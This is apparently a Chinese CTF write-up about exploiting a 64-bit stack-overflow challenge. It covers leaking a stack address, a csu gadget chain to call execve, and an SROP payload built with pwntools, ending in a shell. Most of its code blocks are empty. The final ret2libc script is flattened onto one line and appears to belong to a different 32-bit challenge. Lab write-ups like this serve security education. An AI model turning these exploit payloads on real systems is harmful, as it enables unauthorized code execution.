syscall与csu结合以及srop的简单使用
本文最后更新于 2025年5月20日 下午
syscall与csu结合以及srop的简单使用
基础检查
放入ida
存在栈溢出,并且buf只有0x10,而write有0x30,因此可以泄露栈上的内容
3B=59是execv的调用号,这个指令可以调用内核execv
如果能够知道/bin/sh的地址,就可以获得shell
因为栈上没有/bin/sh,可以考虑read读入,结合前面有漏洞可以泄露栈上的位置,
考虑用write泄露某一栈上地址,在计算此地址到输入点的偏移,
这样当我们输入/bin/sh时就可以得到这个地址
这个地址存的是程序名
如图也在泄露范围内
那么就可以泄露这个地址
可以算出此地址到输入点的偏移为0x118
所以第一个payload的构造为
1 |
|
payload2的构造
方法一
1 |
|
解释
在execve的系统调用中
参数布局为
1 |
|
因为找不到可用的rsi和rdx
我们考虑用csu间接将参数传给rsi 和rdx
这个payload的构造非常巧妙 将rbx和rbp设为0,r12设为(binsh+0x50)都有特别用意
(1)根据我们前面payload的构造
可以知道binsh+0x50就是将execve调用号放入rax的指令,方便进行syscall
(2)首先将rbx和rbp 设为0
使得通不过 cmp rbx,rbp
从而通过jnz指令跳回0x400580
这时候rbx已被加1,所以这次call的地址就变为(binsh+0x50+8)即pop_rdi的位置让我们能够继续控制程序
因为rsi 和rdx已经设置完了,那接下来只要将binsh传入rdi并执行syscall即可获得shell
最终exp
1 |
|
方法二 srop利用
原理:
这里基础知识就搬运ctfwiki上的了,讲解的我觉得很全面了,我也会进行添加补充讲解,便于理解。
signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:
- 内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
- 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。
1 |
|
在执行sigreturn 之后的restore context阶段,整个frame是在用户态,同时会执行大量的pop指令,这时我们就可以直接设定寄存器的值来伪造一个虚假的frame从而getshell
使用SROP的前提
首先程序必须存在溢出,能够控制返回地址。
可以去系统调用sigreturn(如果找不到合适的系统调用号,可以看看能不能利用read函数来控制RAX的值)
必须能够知道/bin/sh的地址,如果写的bss段,直接写地址就行,如果写到栈里,还需要想办法去泄露栈地址。
允许溢出的长度足够长,这样可以去布局我们想要的寄存器的值
需要知道syscall指令的地址
1
2
3
4
5
6
7frame=SigreturnFrame()
frame.rax=constants.SYS_execve
frame.rdi=binsh
frame.rsi=0x0
frame.rdx=0x0
frame.rip=syscall
payload=b'/bin/sh\x00'.ljust(0x10,b'a')+p64(0x4004da)+p64(syscall)+bytes(frame)注意这里的syscall必须是syscall_ret,来控制程序
最终exp
1 |
|
拿到shell
x from pwn import *from LibcSearcher import LibcSearchersh=process(‘./123’)elf=ELF(‘./123’)read=elf.got[‘read’]write=elf.plt[‘write’]payload =b’a’*140+p32(write)+p32(0x80483f4)+p32(1)+p32(read)+p32(4)sh.send(payload)read_got=u32(sh.recv())print(“the read of address :”,hex(read_got))base=read_got-0x10a840system=base+0x04c880binsh=base+0x1b5fc8payload=b’a’*140+p32(system)+p32(0)+p32(binsh)sh.send(payload)sh.interactive()python